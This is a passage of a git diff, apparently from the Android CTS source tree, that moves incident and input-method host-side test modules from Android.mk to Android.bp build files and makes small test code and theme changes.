-    ctstestrunner-axt \
-    compatibility-device-util-axt \
-    androidx.legacy_legacy-support-v4
-
-LOCAL_SDK_VERSION := test_current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/incident/apps/errorsapp/Android.bp b/hostsidetests/incident/apps/errorsapp/Android.bp
new file mode 100644
index 0000000..738feb5
--- /dev/null
+++ b/hostsidetests/incident/apps/errorsapp/Android.bp
@@ -0,0 +1,38 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsErrorsApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    compile_multilib: "both",
+    libs: [
+        "android.test.runner.stubs",
+        "junit",
+    ],
+    // Includes the jni code as a shared library
+    jni_libs: ["libcrash-jni"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "androidx.legacy_legacy-support-v4",
+    ],
+    sdk_version: "test_current",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/incident/apps/errorsapp/Android.mk b/hostsidetests/incident/apps/errorsapp/Android.mk
deleted file mode 100644
index e100684..0000000
--- a/hostsidetests/incident/apps/errorsapp/Android.mk
+++ /dev/null
@@ -1,46 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsErrorsApp
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MULTILIB := both
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit
-
-# Includes the jni code as a shared library
-LOCAL_JNI_SHARED_LIBRARIES := libcrash-jni
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner-axt \
-    compatibility-device-util-axt \
-    androidx.legacy_legacy-support-v4
-
-LOCAL_SDK_VERSION := test_current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/incident/apps/errorsapp/jni/Android.bp b/hostsidetests/incident/apps/errorsapp/jni/Android.bp
new file mode 100644
index 0000000..7c61818
--- /dev/null
+++ b/hostsidetests/incident/apps/errorsapp/jni/Android.bp
@@ -0,0 +1,24 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test_library {
+    name: "libcrash-jni",
+    srcs: ["crash-jni.c"],
+    cflags: [
+        "-Wall",
+        "-Werror",
+        "-Wno-unused-parameter",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/incident/apps/errorsapp/jni/Android.mk b/hostsidetests/incident/apps/errorsapp/jni/Android.mk
deleted file mode 100644
index 75d1d09..0000000
--- a/hostsidetests/incident/apps/errorsapp/jni/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE    := libcrash-jni
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := crash-jni.c
-
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
-
-LOCAL_CFLAGS := -Wall -Werror -Wno-unused-parameter
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/hostsidetests/incident/apps/graphicsstatsapp/Android.bp b/hostsidetests/incident/apps/graphicsstatsapp/Android.bp
new file mode 100644
index 0000000..52b5c74
--- /dev/null
+++ b/hostsidetests/incident/apps/graphicsstatsapp/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsGraphicsStatsApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: [
+        "android.test.runner.stubs",
+        "junit",
+    ],
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "androidx.legacy_legacy-support-v4",
+    ],
+    sdk_version: "test_current",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/incident/apps/graphicsstatsapp/Android.mk b/hostsidetests/incident/apps/graphicsstatsapp/Android.mk
deleted file mode 100644
index 5dcb56d..0000000
--- a/hostsidetests/incident/apps/graphicsstatsapp/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsGraphicsStatsApp
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner-axt \
-    compatibility-device-util-axt \
-    androidx.legacy_legacy-support-v4
-
-LOCAL_SDK_VERSION := test_current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
diff --git a/hostsidetests/incident/apps/graphicsstatsapp/AndroidManifest.xml b/hostsidetests/incident/apps/graphicsstatsapp/AndroidManifest.xml
index 0f9a3a0..be9d645 100644
--- a/hostsidetests/incident/apps/graphicsstatsapp/AndroidManifest.xml
+++ b/hostsidetests/incident/apps/graphicsstatsapp/AndroidManifest.xml
@@ -20,7 +20,9 @@
 
     <application>
         <uses-library android:name="android.test.runner" />
-        <activity android:name=".DrawFramesActivity" android:label="GraphicsStats Test Activity" />
+        <activity android:name=".DrawFramesActivity"
+                  android:label="GraphicsStats Test Activity"
+                  android:theme="@style/DefaultTheme"/>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/hostsidetests/incident/apps/graphicsstatsapp/res/values/themes.xml b/hostsidetests/incident/apps/graphicsstatsapp/res/values/themes.xml
new file mode 100644
index 0000000..b3b1514
--- /dev/null
+++ b/hostsidetests/incident/apps/graphicsstatsapp/res/values/themes.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+Licensed under the Apache License, Version 2.0 (the "License");
+you may not use this file except in compliance with the License.
+You may obtain a copy of the License at
+
+  http://www.apache.org/licenses/LICENSE-2.0
+
+Unless required by applicable law or agreed to in writing, software
+distributed under the License is distributed on an "AS IS" BASIS,
+WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+See the License for the specific language governing permissions and
+limitations under the License.
+-->
+
+<resources>
+    <style name="DefaultTheme" parent="@android:style/Theme.Material.NoActionBar.Fullscreen">
+        <item name="android:windowNoTitle">true</item>
+        <item name="android:windowFullscreen">true</item>
+        <item name="android:windowOverscan">true</item>
+        <item name="android:fadingEdge">none</item>
+        <item name="android:windowBackground">@android:color/white</item>
+        <item name="android:windowContentTransitions">false</item>
+        <item name="android:windowAnimationStyle">@null</item>
+    </style>
+</resources>
\ No newline at end of file
diff --git a/hostsidetests/incident/apps/netstatsapp/Android.bp b/hostsidetests/incident/apps/netstatsapp/Android.bp
new file mode 100644
index 0000000..551d27e
--- /dev/null
+++ b/hostsidetests/incident/apps/netstatsapp/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsNetStatsApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: [
+        "android.test.runner.stubs",
+        "junit",
+    ],
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "androidx.legacy_legacy-support-v4",
+    ],
+    sdk_version: "test_current",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/incident/apps/netstatsapp/Android.mk b/hostsidetests/incident/apps/netstatsapp/Android.mk
deleted file mode 100644
index 9f4af1d..0000000
--- a/hostsidetests/incident/apps/netstatsapp/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsNetStatsApp
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner-axt \
-    compatibility-device-util-axt \
-    androidx.legacy_legacy-support-v4
-
-LOCAL_SDK_VERSION := test_current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/incident/apps/notificationsapp/Android.bp b/hostsidetests/incident/apps/notificationsapp/Android.bp
new file mode 100644
index 0000000..6bd3991
--- /dev/null
+++ b/hostsidetests/incident/apps/notificationsapp/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsNotificationIncidentTestApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: [
+        "android.test.runner.stubs",
+        "junit",
+    ],
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "androidx.legacy_legacy-support-v4",
+    ],
+    sdk_version: "test_current",
+    java_resource_dirs: ["res"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/incident/apps/notificationsapp/Android.mk b/hostsidetests/incident/apps/notificationsapp/Android.mk
deleted file mode 100644
index 4281861..0000000
--- a/hostsidetests/incident/apps/notificationsapp/Android.mk
+++ /dev/null
@@ -1,41 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsNotificationIncidentTestApp
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner-axt \
-    compatibility-device-util-axt \
-    androidx.legacy_legacy-support-v4
-
-LOCAL_SDK_VERSION := test_current
-
-LOCAL_JAVA_RESOURCE_DIRS := res
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/incident/apps/procstatsapp/Android.bp b/hostsidetests/incident/apps/procstatsapp/Android.bp
new file mode 100644
index 0000000..0626e23
--- /dev/null
+++ b/hostsidetests/incident/apps/procstatsapp/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsProcStatsProtoApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: [
+        "android.test.runner.stubs",
+        "junit",
+    ],
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "androidx.legacy_legacy-support-v4",
+    ],
+    sdk_version: "test_current",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/incident/apps/procstatsapp/Android.mk b/hostsidetests/incident/apps/procstatsapp/Android.mk
deleted file mode 100644
index 9676ee8..0000000
--- a/hostsidetests/incident/apps/procstatsapp/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsProcStatsProtoApp
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner-axt \
-    compatibility-device-util-axt \
-    androidx.legacy_legacy-support-v4
-
-LOCAL_SDK_VERSION := test_current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java b/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
index 1041638..1e44976 100644
--- a/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
@@ -99,7 +99,7 @@
 
         int veryJankyDelta = countFramesAbove(statsAfter, 60) - countFramesAbove(statsBefore, 60);
         // The 1st frame could be >40ms, but nothing after that should be
-        assertTrue(veryJankyDelta <= 1);
+        assertTrue(veryJankyDelta <= 2);
     }
 
     public void testDaveyDrawFrame() throws Exception {
diff --git a/hostsidetests/incident/src/com/android/server/cts/SettingsIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/SettingsIncidentTest.java
index 38eefc1..a26c1f9 100644
--- a/hostsidetests/incident/src/com/android/server/cts/SettingsIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/SettingsIncidentTest.java
@@ -25,8 +25,8 @@
 import com.android.incident.Destination;
 import com.android.incident.Privacy;
 import com.android.tradefed.log.LogUtil.CLog;
-import com.google.protobuf.GeneratedMessage;
 import com.google.protobuf.Descriptors.FieldDescriptor;
+import com.google.protobuf.Message;
 
 import java.lang.reflect.Method;
 import java.lang.reflect.Modifier;
@@ -72,7 +72,7 @@
         verifySettings(dump.getGlobalSettings(), filterLevel);
     }
 
-    private static void verifySettings(GeneratedMessage settings, final int filterLevel) throws Exception {
+    private static void verifySettings(Message settings, final int filterLevel) throws Exception {
         verifySettings(getSettingProtos(settings), filterLevel);
 
         final List<SettingsOperationProto> ops = invoke(settings, "getHistoricalOperationsList");
@@ -88,7 +88,7 @@
         }
     }
 
-    private static Map<SettingProto, Destination> getSettingProtos(GeneratedMessage settingsProto) {
+    private static Map<SettingProto, Destination> getSettingProtos(Message settingsProto) {
         CLog.d("Checking out class: " + settingsProto.getClass());
 
         Map<SettingProto, Destination> settings = new HashMap<>();
@@ -116,7 +116,7 @@
                 } else {
                     // Sub messages don't inherit the container's default privacy. If the field had
                     // an annotation, it would override the sub message's default privacy.
-                    settings.putAll(getSettingProtos((GeneratedMessage) o));
+                    settings.putAll(getSettingProtos((Message) o));
                 }
             }
         }
@@ -133,7 +133,7 @@
         }
     }
 
-    private static <T> T invoke(GeneratedMessage instance, String methodName, Object... args)
+    private static <T> T invoke(Message instance, String methodName, Object... args)
             throws Exception {
         final Class<?>[] inputParamTypes = Arrays.stream(args)
                 .map((arg) -> toPrimitive(arg.getClass()))
diff --git a/hostsidetests/inputmethodservice/Android.mk b/hostsidetests/inputmethodservice/Android.mk
deleted file mode 100644
index b798d87..0000000
--- a/hostsidetests/inputmethodservice/Android.mk
+++ /dev/null
@@ -1,15 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-include $(call all-subdir-makefiles)
diff --git a/hostsidetests/inputmethodservice/common/Android.bp b/hostsidetests/inputmethodservice/common/Android.bp
new file mode 100644
index 0000000..feb59a3
--- /dev/null
+++ b/hostsidetests/inputmethodservice/common/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// Build the common library for use device-side
+java_test {
+    name: "CtsInputMethodServiceCommon",
+    srcs: ["src/**/*.java"],
+    libs: ["junit"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    sdk_version: "test_current",
+}
+
+// Build the common library for use host-side
+java_test_host {
+    name: "cts-inputmethodservice-common-host",
+    srcs: ["src/**/*.java"],
+    libs: ["junit"],
+}
diff --git a/hostsidetests/inputmethodservice/common/Android.mk b/hostsidetests/inputmethodservice/common/Android.mk
deleted file mode 100644
index 94b59c9..0000000
--- a/hostsidetests/inputmethodservice/common/Android.mk
+++ /dev/null
@@ -1,50 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-###############################################################################
-# Build the common library for use device-side
-###############################################################################
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_JAVA_LIBRARIES := junit
-
-LOCAL_MODULE_TAGS := tests
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_MODULE := CtsInputMethodServiceCommon
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
-
-###############################################################################
-# Build the common library for use host-side
-###############################################################################
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_JAVA_LIBRARIES := junit-host
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_MODULE := cts-inputmethodservice-common-host
-
-include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/inputmethodservice/deviceside/Android.mk b/hostsidetests/inputmethodservice/deviceside/Android.mk
deleted file mode 100644
index b798d87..0000000
--- a/hostsidetests/inputmethodservice/deviceside/Android.mk
+++ /dev/null
@@ -1,15 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-include $(call all-subdir-makefiles)
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/Android.bp b/hostsidetests/inputmethodservice/deviceside/devicetest/Android.bp
new file mode 100644
index 0000000..7139b91
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/Android.bp
@@ -0,0 +1,37 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsInputMethodServiceDeviceTests",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: ["android.test.runner.stubs"],
+    static_libs: [
+        "androidx.test.rules",
+        "hamcrest",
+        "hamcrest-library",
+        "ub-uiautomator",
+        "CtsInputMethodServiceCommon",
+        "CtsInputMethodServiceLib",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    sdk_version: "test_current",
+    min_sdk_version: "19",
+}
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk b/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk
deleted file mode 100644
index 636d3ab..0000000
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk
+++ /dev/null
@@ -1,45 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_JAVA_RESOURCE_DIR := res
-LOCAL_JAVA_LIBRARY := android.test.runner.stubs
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    hamcrest hamcrest-library \
-    ub-uiautomator \
-    CtsInputMethodServiceCommon \
-    CtsInputMethodServiceLib
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_PACKAGE_NAME := CtsInputMethodServiceDeviceTests
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/inputmethodservice/deviceside/edittextapp/Android.bp b/hostsidetests/inputmethodservice/deviceside/edittextapp/Android.bp
new file mode 100644
index 0000000..fce63b4
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/edittextapp/Android.bp
@@ -0,0 +1,29 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "EditTextApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    static_libs: ["CtsInputMethodServiceCommon"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    sdk_version: "test_current",
+    min_sdk_version: "28",
+}
diff --git a/hostsidetests/inputmethodservice/deviceside/edittextapp/Android.mk b/hostsidetests/inputmethodservice/deviceside/edittextapp/Android.mk
deleted file mode 100644
index 30fdb08..0000000
--- a/hostsidetests/inputmethodservice/deviceside/edittextapp/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
